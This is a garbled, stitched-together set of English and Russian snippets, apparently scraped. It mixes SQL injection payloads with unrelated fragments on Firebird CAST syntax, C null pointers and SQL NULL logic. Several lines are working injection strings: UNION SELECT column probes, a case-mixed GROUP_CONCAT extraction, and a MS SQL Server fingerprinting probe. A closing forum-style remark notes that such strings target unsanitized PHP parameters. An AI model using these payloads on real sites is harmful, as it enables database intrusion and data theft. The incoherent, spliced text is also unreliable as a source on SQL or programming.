Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1.
select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database. If TYPE OF is used with a (VAR)CHAR type, its character.
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into the proper null-pointer value representation, i.e. to translate it into the code that will put the address value of 0xFFFFFFFF into the pointer p, for example.
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
999999.9 union all select 0x31303235343830303536-- на YouTube: Поиск реализован с помощью YandexXML и Google Custom Search API.
union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
Логические операции и NULL. Обычно, состояние НЕИЗВЕСТНО обрабатывается так же, как ЛОЖЬ. Например, если вы выбираете строки из таблицы и вычисление условия x = NULL в предложении WHERE дало результат НЕИЗВЕСТНО, то вы не получите ни одной строки.
Mostly these are known vulnarabilities in outdated versions. There could have been a single PHP file that had a single variable from GET or POST data that hadn't been sanitized before used as a part of an SQL query. While these lines in your question seems to only SELECT information from the database...